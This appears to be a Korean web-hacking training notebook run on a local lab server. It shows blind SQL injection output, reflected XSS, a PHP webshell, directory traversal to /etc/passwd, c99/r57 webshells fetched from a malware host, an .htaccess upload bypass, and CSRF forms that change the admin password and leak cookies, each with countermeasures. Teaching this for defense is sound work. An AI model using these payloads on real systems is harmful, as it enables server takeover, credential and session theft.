{'user_id': "' or ascii(substring(database(),1,1))=70 #", 'user_pw': '111'}
[+] 16, F, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=71 #", 'user_pw': '111'}
[+] 17, G, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=72 #", 'user_pw': '111'}
[+] 18, H, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=73 #", 'user_pw': '111'}
[+] 19, I, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=74 #", 'user_pw': '111'}
[+] 20, J, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=75 #", 'user_pw': '111'}
[+] 21, K, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=76 #", 'user_pw': '111'}
[+] 22, L, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=77 #", 'user_pw': '111'}
[+] 23, M, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=78 #", 'user_pw': '111'}
[+] 24, N, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=79 #", 'user_pw': '111'}
[+] 25, O, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=80 #", 'user_pw': '111'}
[+] 26, P, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=81 #", 'user_pw': '111'}
[+] 27, Q, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=82 #", 'user_pw': '111'}
[+] 28, R, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=83 #", 'user_pw': '111'}
[+] 29, S, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=84 #", 'user_pw': '111'}
[+] 30, T, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=85 #", 'user_pw': '111'}
[+] 31, U, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=86 #", 'user_pw': '111'}
[+] 32, V, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=87 #", 'user_pw': '111'}
[+] 33, W, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=88 #", 'user_pw': '111'}
[+] 34, X, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=89 #", 'user_pw': '111'}
[+] 35, Y, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=90 #", 'user_pw': '111'}
[+] 36, Z, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=97 #", 'user_pw': '111'}
[+] 37, a, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=98 #", 'user_pw': '111'}
[+] 38, b, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=99 #", 'user_pw': '111'}
[+] 39, c, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=100 #", 'user_pw': '111'}
[+] 40, d, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=101 #", 'user_pw': '111'}
[+] 41, e, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=102 #", 'user_pw': '111'}
[+] 42, f, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=103 #", 'user_pw': '111'}
[+] 43, g, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=104 #", 'user_pw': '111'}
[+] 44, h, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=105 #", 'user_pw': '111'}
[+] 45, i, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=106 #", 'user_pw': '111'}
[+] 46, j, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=107 #", 'user_pw': '111'}
[+] 47, k, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=108 #", 'user_pw': '111'}
[+] 48, l, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=109 #", 'user_pw': '111'}
[+] 49, m, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=110 #", 'user_pw': '111'}
[+] 50, n, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=111 #", 'user_pw': '111'}
[+] 51, o, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=112 #", 'user_pw': '111'}
[+] 52, p, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=113 #", 'user_pw': '111'}
[+] 53, q, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=114 #", 'user_pw': '111'}
[+] 54, r, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=115 #", 'user_pw': '111'}
[+] 55, s, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=116 #", 'user_pw': '111'}
[+] 56, t, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=117 #", 'user_pw': '111'}
[+] 57, u, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=118 #", 'user_pw': '111'}
[+] 58, v, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=119 #", 'user_pw': '111'}
[+] 59, w, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=120 #", 'user_pw': '111'}
[+] 60, x, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=121 #", 'user_pw': '111'}
[+] 61, y, [], 2. no hack!!
{'user_id': "' or ascii(substring(database(),1,1))=122 #", 'user_pw': '111'}
[+] 62, z, [], 2. no hack!!
>>> Result <<<
Total queryCount: 63, Found dbname:

(SQLiProject) [root@webhacking ~]# cat test.php
<?
$id = "' or ascii(substring(database(),1,1))=122 #";
echo $id . "\n";

if(preg_match("/ascii|substring/i",$id)){
    exit("2. no hack!!\n");
}
?>

(SQLiProject) [root@webhacking ~]# php test.php
' or ascii(substring(database(),1,1))=122 #
2. no hack!!

(SQLiProject) [root@webhacking ~]# cat test2.php
<?
$i = 1;
while($i <= 5)
{
   echo $i . "\n";
   $i++;
}
?>

(SQLiProject) [root@webhacking ~]# php test2.php
1
2
3
4
5

실습> SQLi 대응방안 중에서 WAF 사용하기

참고: 2751번 라인의 실습> 웹 방화벽 와플즈 를 참고한다.

실습> 무료로 사용하는 웹 방화벽
ModSecurity 웹 방화벽을 APM + ModSecurity 까지 연동해서 운영한다.

실습> XSS 탐지

Reflected XSS

1. 정책 설정 확인
정책 설정: 4.고급 보안 정책
정책명: WebHackTest

룰 이름: Cross Site Scripting
탐지 설정: 스크립트 허용 안함 (탐지하겠다는 의미이다.)
대응 설정: 에러 코드, 400 Bad Request

2. 로그 확인
[root@webhacking html]# > /var/log/httpd/access_log
[root@webhacking html]# tail -f /var/log/httpd/access_log

3. 공격 시도
게시판에서 글제목 부분에 XSS 코드를 넣는다.
공격 형태: Reflected XSS
공격 코드: <script>alert('XSS')</script>

글제목: <script>alert('XSS')</script> 검색 버튼을 클릭한다.
 
400    Bad Request
The server cannot or will not process the request due to an apparent client error (e.g., malformed request syntax, invalid request message framing, or deceptive request routing).

4. 로그 확인
아파치 웹서버 로그를 확인하면 WAF이 앞에서 막아주므로 웹서버 로그는 기록되지 않는다. 
[root@webhacking html]# tail -f /var/log/httpd/access_log

실습> 파일 업로드 취약점

!!! 파일을 업로드할 때 운영중인 웹 애플리케이션의 파일을 올라가는 것을 막아야 한다. !!!
- JSP환경: jsp 파일이 게시판에 업로드되면 안된다.
- PHP환경: php 파일이 게시판에 업로드되면 안된다.
- ASP환경: asp 파일이 게시판에 업로드되면 안된다.

파일을 업로드 하기 위해 필요한 설정
1. php.ini 설정
- file_uploads = On (Default)
- upload_max_filesize = 2M
- post_max_size = 8M   

e.g.) 20M 파일을 업로드 하기 위한 설정
file_uploads = On 
upload_max_filesize = 21M
post_max_size = 21M   

2. 업로드 권한
- SELinux 권한: httpd_sys_rw_content_t
- 파일의 허가권/소유권 권한: 웹서버 사용자로 쓰기 권한이 있어야 한다.
--- ps로 httpd가 어떤 사용자로 실행되는지 확인해야 한다. nobody, apache, www-data 
--- drwxrwxrwx. 3 root root 4096  4월 10 17:46 /var/www/html/board/upload/    <-- 보안에 취약하다.
--- drwxrwx---. 3 root apache 4096  4월 10 17:46 /var/www/html/board/upload/  <-- 보안에 취약하지 않다.


1. 업로드 디렉터리 권한 변경
업로드 디렉터리 SELinux 권한: drwxrwx---. root apache unconfined_u:object_r:httpd_sys_rw_content_t:s0 upload/
업로드 디렉터리 허가권/소유권 권한: drwxrwx---. 3 root apache 4096  4월 10 17:46 upload/

[root@webhacking board]# cd /var/www/html/board
[root@webhacking board]# ls -ld upload/
drwxrwxrwx. 3 root root 4096  4월 10 17:46 upload/
[root@webhacking board]# ls -Zd upload/
drwxrwx---. root apache unconfined_u:object_r:httpd_sys_content_t:s0 upload/

SELinux 권한을 변경한다.
[root@webhacking board]# chcon -t httpd_sys_rw_content_t upload

디렉터리의 허가권/소유권을 변경한다.
[root@webhacking board]# chmod 770 upload/
[root@webhacking board]# chgrp apache upload/

[root@webhacking board]# ls -ld upload/
drwxrwx---. 3 root apache 4096  4월 10 17:46 upload/
[root@webhacking board]# ls -Zd upload/
drwxrwx---. root apache unconfined_u:object_r:httpd_sys_rw_content_t:s0 upload/


2. 파일 생성
바탕화면에 파일을 생성한다.

-- webshell.php --
<?php
system($_GET['cmd']);
?>
-- webshell.php --


웹쉘: 웹에서 실행하는 셸(서버를 공격하는 악성코드의 일종)
- 운영중인 서버에 웹쉘이 올라가면 서버는 문제가 심각해진다.
http://192.168.20.41/board/upload/webshell.php?cmd=명령어

http://192.168.20.41/board/upload/webshell.php?cmd=pwd
/var/www/html/board/upload
http://192.168.20.41/board/upload/webshell.php?cmd=cat /etc/passwd



apache 사용자로 쉘로 변경해서 테스트한다.
[root@webhacking board]# grep apache /etc/passwd
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
[root@webhacking board]# usermod -s /bin/bash apache
[root@webhacking board]# su - apache
-bash-4.2$ PS1="[\u@\h \W]\\$ "

[apache@webhacking ~]$ sestatus
SELinux status:                 enabled
SELinuxfs mount:                /sys/fs/selinux
SELinux root directory:         /etc/selinux
Loaded policy name:             targeted
Current mode:                   enforcing
Mode from config file:          enforcing
Policy MLS status:              enabled
Policy deny_unknown status:     allowed
Max kernel policy version:      31


[apache@webhacking ~]$ cat /etc/passwd
   :
   :

실습> 파일 다운로드 취약점

Directory Traversal 공격: 상위 디렉터리로 올라가는 공격
상위 디렉터리: ../
경로와 상관없이 ../ 를 많이 넣으면 최상위 디렉터리가 된다.


1. 파일 업로드
게시글을 쓸 때 파일 1개를 업로드 한다.

2. 파일 다운로드
업로드가 완료되면 게시물을 보고 파일을 다운로드 한다.

3. 파일 경로 조작
Burp Intercept On으로 변경하고 업로드 파일을 클릭한다.

GET /board/board_file_download.php?filename=test.png HTTP/1.1
Host: 192.168.20.41
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.20.41/board/board_view.php?num=8
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=7ghmb6smliaeb8qlbon6mft832; login_access=HAHAHAHAHA
Connection: close

filename 파라미터의 값을 변경한다.
test.png -> ../../../../../../../../../../../etc/passwd 

GET /board/board_file_download.php?filename=../../../../../../../../../../../etc/passwd HTTP/1.1
Host: 192.168.20.41
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.20.41/board/board_view.php?num=8
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=7ghmb6smliaeb8qlbon6mft832; login_access=HAHAHAHAHA
Connection: close

Burp Intercept Off로 변경하면 파일이 다운로드가 된다.
.._.._.._.._.._.._.._.._.._.._../etc/passwd

4. 파일 확인
파일을 확인하면 /etc/passwd 파일이라는 것을 알 수 있다.
결국 경로 조작에 의한 시스템 파일이 다운로드가 되었다.

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

5. 대응 방안
filename으로 넘어오는 내용을 필터링해야 한다.
사용자가 쓰는 값은 믿으면 안되고 모두 필터링해야 한다.

[root@webhacking html]# vi board/board_file_download.php
  1 <?php
  2   $file_name=$_GET["filename"];
  3   $file_name=str_replace("../", "", $file_name);
  4   echo $file_name;
  5   exit;
  :
  :(생략)

DB안에 저장된 업로드된 파일명과 GET 방식으로 넘어온 파일명을 확인한다.

[root@webhacking ~]# mysql -e "SELECT * FROM WebTest.board ORDER BY strNumber DESC LIMIT 1\G"
*************************** 1. row ***************************
  strNumber: 8
    strName: 관리자
strPassword: 1
   strEmail:
 strSubject: 파일업로드 2
 strContent: 파일업로드 2
    htmlTag: T
  viewCount: 9
   filename: test.png  <-- 
   filesize: 33848
  writeDate: 2023-04-10 18:46:06

  1 <?php
  2   $file_name=$_GET["filename"];
  3   //$file_name=str_replace("../", "", $file_name);
  4   #$file_name=str_replace("/", "", $file_name);
  5
  6   require("../dbconn.php");
  7   $strSQL="select filename from board where filename='$file_name'";
  8   $rs=mysql_query($strSQL, $conn);
  9   $rs_arr=mysql_fetch_array($rs);
 10
 11   echo "GET: " . $file_name . "<br>";
 12   echo "DB : " . $rs_arr['filename'];
 13   exit;

확인되면 11,12,13번 라인은 삭제하고 아래 코드로 설정한다.

  1 <?php
  2   $file_name=$_GET["filename"];
  3   //$file_name=str_replace("../", "", $file_name);
  4   #$file_name=str_replace("/", "", $file_name);
  5
  6   require("../dbconn.php");
  7   $strSQL="select filename from board where filename='$file_name'";
  8   $rs=mysql_query($strSQL, $conn);
  9   $rs_arr=mysql_fetch_array($rs);
 10
 11   if($rs_arr['filename'] != $file_name){
 12     echo "<script>
 13       alert('요청하신 파일은 다운로드 받을 수 없습니다.');
 14       history.back();
 15     </script>";
 16     exit();
 17   }

업로드된 파일이 test.png 파일이면
정상적인 쿼리: 
$strSQL="select filename from board where filename='$file_name'";
$strSQL="select filename from board where filename='test.png'";

[root@webhacking ~]# mysql -e "select filename from WebTest.board where filename='test.png'"
+----------+
| filename |
+----------+
| test.png |
+----------+

조작된 쿼리: 
$strSQL="select filename from board where filename='$file_name'";
$strSQL="select filename from board where filename='../../../../../../test.png'";

[root@webhacking ~]# mysql -e "select filename from WebTest.board where filename='../../../../../../test.png'"
[root@webhacking ~]#

실습> str_replace() 함수 사용하기

1. 필터링이 없는 경우
[root@webhacking html]# vi str_replace.php
<?php

$filename = "../../../../etc/passwd";
echo $filename;

?>

[root@webhacking html]# lynx --dump localhost/str_replace.php
   ../../../../etc/passwd

[root@webhacking html]# php str_replace.php
../../../../etc/passwd

2. 필터링이 있는 경우

함수/메소드는 3가지가 중요하다.
첫 번째: 함수/메소드 역할
두 번째: 함수/메소드 호출할 때 넘겨주는 인수값
세 번째: 함수/메소드 호출하고 넘겨주는 반환값

str_replace("찾을문자열", "변경할문자열", "원본문자열"); 
반환값: 교체된 값이 있는 문자열 또는 배열

str_replace()함수는 원본 문자열에서 찾을 문자열을 찾아서 변경할 문자열로 교체해서 문자열로 반환한다.

[root@webhacking html]# vi str_replace.php
<?php

$filename = "../../../../etc/passwd";
$filename = str_replace("../","", $filename);
echo $filename;
?>

[root@webhacking html]# php str_replace.php
etc/passwd

[root@webhacking html]# lynx --dump localhost/str_replace.php
   etc/passwd

실습> 웹쉡 테스트

1. 웹쉘이 실행이 된 경우
[root@webhacking html]# cd board/upload/
[root@webhacking upload]# rm -f webshell.php
[root@webhacking upload]# wget --no-check-certificate https://linuxmaster.net/malware/webShell/c99shell.php.gz
[root@webhacking upload]# gunzip c99shell.php.gz
[root@webhacking upload]# vi c99shell.php
  32 $login = "admin"; //login
  33 //DON'T FORGOT ABOUT PASSWORD!!!
  34 $pass = "12345"; //password


http://192.168.20.41/board/upload/c99shell.php

[root@webhacking upload]# wget --no-check-certificate https://linuxmaster.net/malware/webShell/r57shell.php.gz
[root@webhacking upload]# gunzip r57shell.php.gz

http://192.168.20.41/board/upload/r57shell.php


2. 대응방안
첫 번째: 게시판에 글을 저장할 때 php 확장자를 모두 업로드를 금지해야 한다.
두 번째: 업로드 우회를 생각해서 업로드되는 디렉터리는 PHP 실행을 금지해야 한다.

[root@webhacking upload]# vi /etc/httpd/conf/httpd.conf
<Directory /var/www/html/board/upload>
     AllowOverride none
     php_value engine off
</Directory>

[root@webhacking upload]# systemctl restart httpd

접속하면 php가 실행되지 않는다.
http://192.168.20.41/board/upload/r57shell.php

업로드 디렉터리에 PHP가 실행되는지 test.php 파일을 생성해서 테스트한다.
[root@webhacking upload]# vi test.php
<?php
echo "Hello";
?>

아무것도 안나오므로 소스보기로 확인해야 한다.
http://192.168.20.41/board/upload/test.php
<?php
echo "Hello";
?>

실습> 분산 설정 파일을 이용한 우회

!!! 분산 설정 파일은 실무에서도 많이 사용하므로 주의를 해야한다.  !!!

1. 아파치 설정 파일 수정
[root@webhacking ~]# cd /var/www/html/board
[root@webhacking board]# pwd
/var/www/html/board
[root@webhacking board]# vi /etc/httpd/conf/httpd.conf
358 <Directory /var/www/html/board/upload>
359     AllowOverride All
360     #php_value engine off
361 </Directory>
[root@webhacking board]# systemctl restart httpd

2. PHP 파일 수정
업로드되는 확장자가 아파치에서 설정한 .php, .html 파일이 업로드되면 필터링 할 수 있도록 주석을 해제한다. 
[root@webhacking board]# vi board_write_ok.php

 20       /*
 21        * <FilesMatch \.(php|html)$>
 22        *  SetHandler application/x-httpd-php
 23        * </FilesMatch>
 24        */
 25       //if(eregi(".html|.htm|.php|.php3|.htaccess", $f_name)){
 26       if(eregi(".html|.php", $f_name)){
 27         echo "<script>
 28           alert('해당 파일은 업로드 불가!');
 29           history.back();
 30         </script>";
 31         exit();
 32       }

3. 웹쉘 파일 업로드
게시판에서 글을 쓸 때 php 파일을 첨부파일로 업로드한다.

   해당 파일은 업로드 불가!


4. 파일 업로드 확장자 우회
분산 설정파일인 .htaccess 파일을 생성한다.
-- .htaccess --
Addtype application/x-httpd-php .txt
-- .htaccess --

게시판에서 글을 쓸 때 .htaccess 파일을 첨부파일로 업로드한다.

글이 정상적으로 써지면 upload 디렉터리에 .htaccess 파일이 업로드 된다.

[root@webhacking upload]# cat .htaccess
Addtype application/x-httpd-php .txt

4. 웹쉘 파일 업로드
게시판에서 글을 쓸 때 txt 파일을 첨부파일로 업로드한다.

  글이 정상적으로 등록된다.

[root@webhacking upload]# cat webshell.txt
<?php
system($_GET['cmd']);
?>

5. 웹쉘 접근
http://192.168.20.41/board/upload/webshell.txt?cmd=pwd
/var/www/html/board/upload

6. 대응방안
게시판에 업로드되는 디렉터리에 PHP코드가 실행되지 못하게 금지시키면 확장자를 변경해도 실행되지 않는다.

[root@webhacking upload]# vi /etc/httpd/conf/httpd.conf
358 <Directory /var/www/html/board/upload>
359     AllowOverride None    <-- All로 설정해도 php가 실행되지 않는다.
360     php_value engine off
361 </Directory>
[root@webhacking upload]# systemctl restart httpd

http://192.168.20.41/board/upload/webshell.txt?cmd=pwd

파일이 다운로드 된다.  <-- 파일이 다운로드가 되면 PHP가 실행되지 않는다고 생각하면 된다.


CSRF(씨써프)란 ?
사이트 간 요청 위조(또는 크로스 사이트 요청 위조, 영어: Cross-site request forgery, CSRF, XSRF)는 
웹사이트 취약점 공격의 하나로, 사용자가 자신의 의지와는 무관하게 공격자가 
의도한 행위(수정, 삭제, 등록 등)를 특정 웹사이트에 요청하게 하는 공격을 말한다.

실습> CSRF 테스트

1. 소스 수정
info.php 소스 수정
-- info.php --
include_once("random.php");
$_SESSION['token']= 1; // GE_ST(20);   
-- info.php --

-- info_change.php --
print_r($_POST);  // 디버깅 중요
print_r($_SESSION);  // 디버깅 중요
exit;
-- info_change.php --

2. 세션 파일 삭제
[root@webhacking html]# rm -f /var/lib/php/session/*

다시 tester로 로그인 한다.


3. 회원 정보 수정
회원정보 수정 폼에 값을 넣는다.
*ID: tester
*이름: 테스터
*비밀번호: 222222  6~20(영문/숫자/특수문자)
*비밀번호 확인: 222222
나이: 2
닉네임: 테스트계정2
이메일: 22222
* 는 필수 입력 항목입니다.

수정 버튼을 클릭한다.

Array ( [user_pw1] => 222222 [user_pw2] => 222222 [age] => 2 [nick] => 테스트계정2 [email] => 222222 [token] => 1 ) Array ( [user_id] => tester [nickname] => 테스트계정1 [ip_addr] => 192.168.20.41 [token] => 1 )
여기까지 테스트가 끝나면 다시 info_change.php를 열어서 주석을 처리한다.

-- info_change.php --
/*
print_r($_POST);  // 디버깅 중요
print_r($_SESSION);  // 디버깅 중요
exit;
*/
-- info_change.php --

실습> CSRF 분석

구글 크롬 일반 접속: tester
구글 크롬 시크릿 접속: admin

1. 접속
http://192.168.20.41/info.php

2. burp 활성화 
Intercept is on으로 설정한다.

3. 회원 정보 수정
회원정보 수정 폼에 값을 넣는다.
*ID: tester
*이름: 테스터
*비밀번호: 222222  6~20(영문/숫자/특수문자)
*비밀번호 확인: 222222
나이: 2
닉네임: 테스트계정2
이메일:tester@naver.com
* 는 필수 입력 항목입니다.

입력이 완료되면 수정버튼을 클릭한다.


4. request 분석
서버로 전송되는 POST 값을 확인한다.
POST /info_change.php HTTP/1.1
Host: 192.168.20.41
Content-Length: 122
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.20.41
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.20.41/info.php
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=7ghmb6smliaeb8qlbon6mft832; hotlog=1; login_access=HAHAHAHAHA
Connection: close

user_pw1=222222&user_pw2=222222&age=2&nick=%ED%85%8C%EC%8A%A4%ED%8A%B8%EA%B3%84%EC%A0%952&email=tester%40naver.com&token=1


분석된 결과 
어떤 방식으로 어느 페이지로 가는가?
POST /info_change.php

어떤 변수에 값을 담아서 가는가?
user_pw1=222222
user_pw2=222222
age=2
nick=%ED%85%8C%EC%8A%A4%ED%8A%B8%EA%B3%84%EC%A0%952
email=tester%40naver.com
token=1

5. burp 비활성화 
Intercept is off로 설정한다.

6. 결과
성공적으로 변경되었습니다.
회원정보
*ID: tester
*이름: 테스터
*비밀번호:   6~20(영문/숫자/특수문자)
*비밀번호 확인: 
나이: 2
닉네임: 테스트계정2
이메일: tester@naver.com  <-- 변경
*  필수 입력 항목입니다.

7. 로그인
로그아웃한  다시 로그인한다.
정상적으로 로그인되면 회원정보의 값이  변경된 것이다.
LOGIN
ID: tester
PASSWORD: 222222

8. 게시글 작성
 름: 공격자
비밀번호: 1
이메일:
 목: CSRF	
HTML적용: 적용 
 용:
CSRF TEST
<form id=csrftest method=POST action=/info_change.php>
<input type=hidden name=user_pw1 value=333333>
<input type=hidden name=user_pw2 value=333333>
<input type=hidden name=age value=30>
<input type=hidden name=nick value=관리자>
<input type=hidden name=email value=tester@daum.net>
<input type=hidden name=token value=1>
</form>
<script>document.getElementById("csrftest").submit();</script>

9. 게시글 보기
관리자가 공격자가 작성한 게시글을 확인하면 자신의 권한으로 비밀번호를 변경한다.

10. 관리자 로그인
공격자가 변경된 비밀번호를 이용해서 관리자로 로그인한다.

11. 변경된 정보 확인
DB에 접속해서 변경된 내용을 확인한다.
[root@webhacking ~]# mysql -e "SELECT * FROM WebTest.member \G"
*************************** 1. row ***************************
      no: 1
    u_id: tester
  u_pass: 222222
  u_name: 테스터
nickname: 테스트계정2
     age: 2
   email: tester@naver.com
reg_date: 2022-10-24 14:01:38
*************************** 2. row ***************************
      no: 2
    u_id: admin
  u_pass: 333333   <--
  u_name: 관리자
nickname: 관리자
     age: 30       <--
   email: tester@daum.net  <--
reg_date: 2022-10-24 14:01:38


미션> 아래 내용에 대한 CSRF를 등록하시오.

공격자가 게시글을 등록하고 관리자가 게시글을 보는 순간 관리자의 권한으로 게시글이 등록된다.
제목: CSRF 자동등록
내용: CSRF TEST
비밀번호: 1

1. 흐름 분석
어떤 방식으로 어떤 데이터를 가지고 어느 페이지로 가는가?
어떤 방식: POST
어떤 데이터: ?
어느 페이지: ?

글쓰기를 클릭해서 글을 입력한다.
이 름: 테스터
비밀번호: 1
이메일: tester@naver.com
제 목: CSRF 흐름 분석 제목
HTML적용: 적용
내 용: CSRF 흐름 분석 제목
파일첨부: 

Burp를 On으로 설정하고 등록 버튼을 클릭한다.


POST /board/board_write_ok.php HTTP/1.1
Host: 192.168.20.41
Content-Length: 812
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.20.41
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBZsxOW9BAOjyKBKY
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.20.41/board/board_write.php
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=7ghmb6smliaeb8qlbon6mft832; hotlog=1; login_access=HAHAHAHAHA
Connection: close

------WebKitFormBoundaryBZsxOW9BAOjyKBKY
Content-Disposition: form-data; name="name"

테스터
------WebKitFormBoundaryBZsxOW9BAOjyKBKY
Content-Disposition: form-data; name="pw"

1
------WebKitFormBoundaryBZsxOW9BAOjyKBKY
Content-Disposition: form-data; name="email"

tester@naver.com
------WebKitFormBoundaryBZsxOW9BAOjyKBKY
Content-Disposition: form-data; name="sub"

CSRF 흐름 분석 제목
------WebKitFormBoundaryBZsxOW9BAOjyKBKY
Content-Disposition: form-data; name="tag"

T
------WebKitFormBoundaryBZsxOW9BAOjyKBKY
Content-Disposition: form-data; name="cont"

CSRF 흐름 분석 내용
------WebKitFormBoundaryBZsxOW9BAOjyKBKY
Content-Disposition: form-data; name="att_file"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundaryBZsxOW9BAOjyKBKY--

분석 결과
- 어떤 방식: POST
- 어떤 데이터: 
name=테스터
pw=1
email=tester@naver.com
sub=CSRF 흐름 분석 제목
tag=T
cont=CSRF 흐름 분석 내용
filename=
att_file=

어느 페이지: /board/board_write_ok.php

분석이 끝나면 Burp를 Off로 설정하고 글이 저장된 후 글을 클릭해서 
비밀번호에 pw=1에 설정한 값을 넣고 삭제한다.
삭제가 잘 되었다는 의미는 비밀번호 설정이 1로 잘 설정되었다는 의미이다.

2. 게시글 작성
공격자가 아래 게시글을 작성한다.
이 름: 테스터
비밀번호: 1
이메일: tester@naver.com
제 목: CSRF	테스트
HTML적용: 적용 
내 용:
CSRF TEST

<form id=csrftest method=POST action=/board/board_write_ok.php enctype="multipart/form-data">
<input type=hidden name=name value=관리자>
<input type=hidden name=pw value=1>
<input type=hidden name=email value=tester@naver.com>
<input type=hidden name=sub value="CSRF 흐름 분석 제목">
<input type=hidden name=cont value="CSRF 흐름 분석 내용">
<input type=hidden name=filename value=>
<input type=hidden name=att_file value=>
</form>
<script>document.getElementById("csrftest").submit();</script>

등록 버튼을 클릭해서 글을 저장한다.

3. 글보기
관리자가 공격자가 저장한 게시글을 클릭해서 보면 자신의 권한으로 게시글을 등록된다.

실습> CSRF를 이용한 쿠키값 탈취하기

공격자가 게시글을 등록하고 관리자가 게시글을 보는 순간 관리자의 권한으로 게시글이 등록된다.
제목: CSRF 자동등록
내용: 관리자의 쿠키값  (PHPSESSID=랜덤문자열)
비밀번호: 아무거나

document.cookie: 쿠키값


이 름: 테스터
비밀번호: 1	
이메일: tester@naver.com
제 목: CSRF를 이용한 쿠키값
HTML적용:적용

안녕하세요.

<form id=csrftest method=POST action=/board/board_write_ok.php enctype="multipart/form-data">
<input type=hidden name=name value=관리자>
<input type=hidden name=pw value=1>
<input type=hidden name=sub value="CSRF 자동등록">
<input type=hidden name=tag value=T>
<input type=hidden name=cont value="">
<input type=hidden name=email value=tester@daum.net>
<input type=hidden name=att_file value=>
</form>
<script>document.getElementById("csrftest").cont.value = "CSRF" + document.cookie;document.getElementById("csrftest").submit();
</script>

실습> 게시글 저장 메세지 주석처리

-- /var/www/html/board/board_write_ok.php --
  :
  :(생략)
  
 62   $rs=mysql_query($strSQL, $conn);
 63   if($rs){
 64     echo "<script>
 65       //alert('글이 성공적으로 등록 되었습니다.');
 66       location.replace('board_list.php');
 67     </script>";
 68   } else {
  
  :
  :(생략)
-- /var/www/html/board/board_write_ok.php --

실습> 글 저장 후 페이지 이동 감추기

